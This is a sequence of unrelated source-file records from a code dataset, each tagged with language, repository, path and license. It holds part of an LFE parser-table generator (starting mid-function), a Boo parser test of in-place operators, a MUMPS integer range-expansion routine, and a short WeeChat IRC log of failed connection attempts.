(_ (skip-lines in (- l 1))))) ;A line
([in 0] 'ok))
(defun output-lines (in out)
(case (io:get_line in 'spell1)
('eof 'ok)
((tuple 'error _) 'ok)
(line
(io:put_chars out line)
(output-lines in out))))
(defun output-entry (out st)
(let ((r (spell1_core:get_root (spell1-gram st))))
(lfe_io:format out "(defun ~p (ts) (parse1 () ts))\n" (list r))
(lfe_io:format out "(defun ~p (cont ts) (parse1 cont ts))\n" (list r))))
(defun output-table (out st)
(let* ((g (spell1-gram st))
(r (spell1_core:get_root g)))
;; Define the start state of the grammar.
(lfe_io:format out "(defun start () '~p)\n\n" (list r))
;; Now output the table function.
(io:put_chars out "(defun table\n")
(let ((rfun (lambda (nt t body)
(lfe_io:format out " (['~w '~w] '~w)\n" (list nt t body)))))
(spell1_core:output_table rfun g)
(io:put_chars out " ([_ _] 'error))\n"))))
(defun output-reduce (out st)
(let* ((g (spell1-gram st))
(rfun (lambda (n symlen toks) (output-reduce-row out n symlen toks))))
(io:put_chars out "(defun reduce\n")
(spell1_core:output_reduce rfun g)
(io:put_chars out " ([_ _] (error 'function_clause)))\n")))
;; output-reduce-clause(Out, N, Symlen, Tokens) -> ok.
;; Output one row/clause of the reduce function.
(defun output-reduce-row
([out n 0 toks]
;; EPSILON rules are special in that they don't consume any tokens!
(lfe_io:format out " ([~w $vs] (cons ~p $vs))\n"
(list n (cons 'progn toks))))
([out n symlen toks]
;; (let ((stpat (lists:sublist '($9 $8 $7 $6 $5 $4 $3 $2 $1)
;; (- 10 symlen) 9)))
(let ((stpat (pat-list symlen)))
(lfe_io:format out " ([~w ~w] (cons ~p $vs))\n"
(list n `(list* ,@stpat $vs) `(progn ,@toks))))))
(defun pat-list
([0] ())
([n] (when (> n 0))
(cons (list_to_atom (cons #\$ (integer_to_list n)))
(pat-list (- n 1)))))
| LFE | 4 | rvirding/spell1 | src/lspell1.lfe | [
"Apache-2.0"
] |
"""
a = Foo.Bar
a |= Foo.Baz
a |= (Foo.Spam | Foo.Eggs)
b = Zeng.Bar
b &= Zeng.Baz
"""
a = Foo.Bar
a |= Foo.Baz
a |= (Foo.Spam | Foo.Eggs)
b = Zeng.Bar
b &= Zeng.Baz
| Boo | 1 | popcatalin81/boo | tests/testcases/parser/wsa/inplace-1.boo | [
"BSD-3-Clause"
] |
RANGEXP(X) ;Integer range expansion
NEW Y,I,J,X1,H SET Y=""
FOR I=1:1:$LENGTH(X,",") DO
.S X1=$PIECE(X,",",I) FOR Q:$EXTRACT(X1)'=" " S X1=$EXTRACT(X1,2,$LENGTH(X1)) ;clean up leading spaces
.SET H=$FIND(X1,"-")-1
.IF H=1 SET H=$FIND(X1,"-",(H+1))-1 ;If the first value is negative ignore that "-"
.IF H<0 SET Y=$SELECT($LENGTH(Y)=0:Y_X1,1:Y_","_X1)
.IF '(H<0) FOR J=+$EXTRACT(X1,1,(H-1)):1:+$EXTRACT(X1,(H+1),$LENGTH(X1)) SET Y=$SELECT($LENGTH(Y)=0:J,1:Y_","_J)
KILL I,J,X1,H
QUIT Y
| M | 3 | LaudateCorpus1/RosettaCodeData | Task/Range-expansion/MUMPS/range-expansion.mumps | [
"Info-ZIP"
] |
2018-12-13 18:41:58 -- irc: connecting to server #help/6667...
2018-12-13 18:41:58 =!= irc: address "#help" not found
2018-12-13 18:41:58 =!= irc: error: Name or service not known
2018-12-13 18:41:58 -- irc: reconnecting to server in 10 seconds
2018-12-13 18:42:08 -- irc: reconnecting to server...
2018-12-13 18:42:08 -- irc: connecting to server #help/6667...
2018-12-13 18:42:08 =!= irc: address "#help" not found
2018-12-13 18:42:08 =!= irc: error: Name or service not known
2018-12-13 18:42:08 -- irc: reconnecting to server in 20 seconds
| IRC log | 1 | Brettm12345/dotfiles | weechat/logs/irc.server.irc.morethan.tv.weechatlog | [
"MIT"
] |
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